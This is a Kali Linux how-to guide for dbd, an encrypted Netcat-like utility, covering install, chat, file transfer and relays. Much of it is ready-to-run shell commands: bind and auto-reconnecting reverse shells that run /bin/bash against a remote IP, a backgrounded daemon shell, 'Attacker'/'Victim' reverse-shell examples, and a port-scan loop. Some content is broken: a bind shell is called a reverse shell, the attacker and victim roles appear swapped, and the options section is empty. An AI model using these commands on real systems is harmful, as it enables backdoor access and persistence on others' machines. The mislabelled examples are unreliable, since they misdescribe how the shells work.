dbd Tool in Kali Linux: Complete Guide

What is dbd?

dbd is a Netcat-like networking utility with built-in AES-CBC-128 + HMAC-SHA1 encryption for secure communication. It supports:

• TCP/UDP connections (like nc).
• Encrypted data transfer (unlike plaintext nc).
• Port forwarding & bind/reverse shells.
• Chat mode (similar to nc chat).
• Daemon mode (background execution).

Developed by Michel Blomgren, it’s useful for pentesting, secure file transfers, and backdoor shells.

Installation of dbd in Kali Linux

Method 1: Install from Repo (if available)

sudo apt update && sudo apt install dbd

Method 2: Manual Compilation (if not in repos)

1. Download source:

wget http://www.cr0.net:8040/code/network/dbd.tgz
tar -xvf dbd.tgz
cd dbd

2. Compile & install:

make
sudo cp dbd /usr/local/bin/

Basic Usage Examples

Connect to a Remote Host (like nc)

dbd 192.168.1.100 4444

• Connects to 192.168.1.100 on port 4444.

Listen for Incoming Connections (Bind Shell)

dbd -l -p 4444

• Listens on port 4444 for incoming connections.

Execute a Shell on Connection (Reverse Shell)

dbd -l -p 4444 -e /bin/bash

• Spawns a /bin/bash shell when someone connects.

Encrypted Communication

dbd -l -p 4444 -c on -k "mysecretkey"  # Server
dbd 192.168.1.100 4444 -c on -k "mysecretkey"  # Client

• Uses AES encryption with a shared key (mysecretkey).

Advanced Usage

Port Forwarding (Relay)

dbd -l -p 4444 | dbd 192.168.1.200 80

• Forwards traffic from 4444 to 192.168.1.200:80.

Persistent Reverse Shell (Auto-Reconnect)

dbd 192.168.1.100 4444 -r 5 -e /bin/bash

• Reconnects every 5 seconds if disconnected.

Daemon Mode (Run in Background)

dbd -l -p 4444 -e /bin/bash -D on

• Runs persistently in the background.

Chat Mode (Encrypted Chat)

dbd -l -p 4444 -H on -P "[Server]: "  # Server
dbd 192.168.1.100 4444 -H on -P "[Client]: "  # Client

• Enables colored chat with prefixes.

Command-Line Options (Full Breakdown)

Real-World Use Cases

1. Secure File Transfer

dbd -l -p 4444 > received_file  # Receiver  
dbd 192.168.1.100 4444 < send_file  # Sender  

2. Encrypted Reverse Shell

dbd -l -p 4444 -e /bin/bash -c on -k "s3cr3t"  # Attacker  
dbd 192.168.1.100 4444 -c on -k "s3cr3t"  # Victim  

3. Port Scanning (Like nc -z)

for port in {1..1000}; do dbd -n 192.168.1.100 $port -w 1 && echo "$port open"; done  

4. Chat Server (Encrypted)

dbd -l -p 4444 -H on -P "Alice: "  # Server  
dbd 192.168.1.100 4444 -H on -P "Bob: "  # Client  

Troubleshooting

Issue: Connection Fails

• Check firewall (ufw, iptables).
• Verify IP/port correctness.

Issue: Encryption Not Working

• Ensure -k key matches on both sides.
• Use -c on explicitly.

Issue: Program Doesn’t Execute (-e)

• Check if the path is correct (/bin/bash, not just bash).
• Use -v for debugging.

Issue: Port Already in Use

• Find & kill the process:

sudo netstat -tulnp | grep 4444
sudo kill -9 <PID>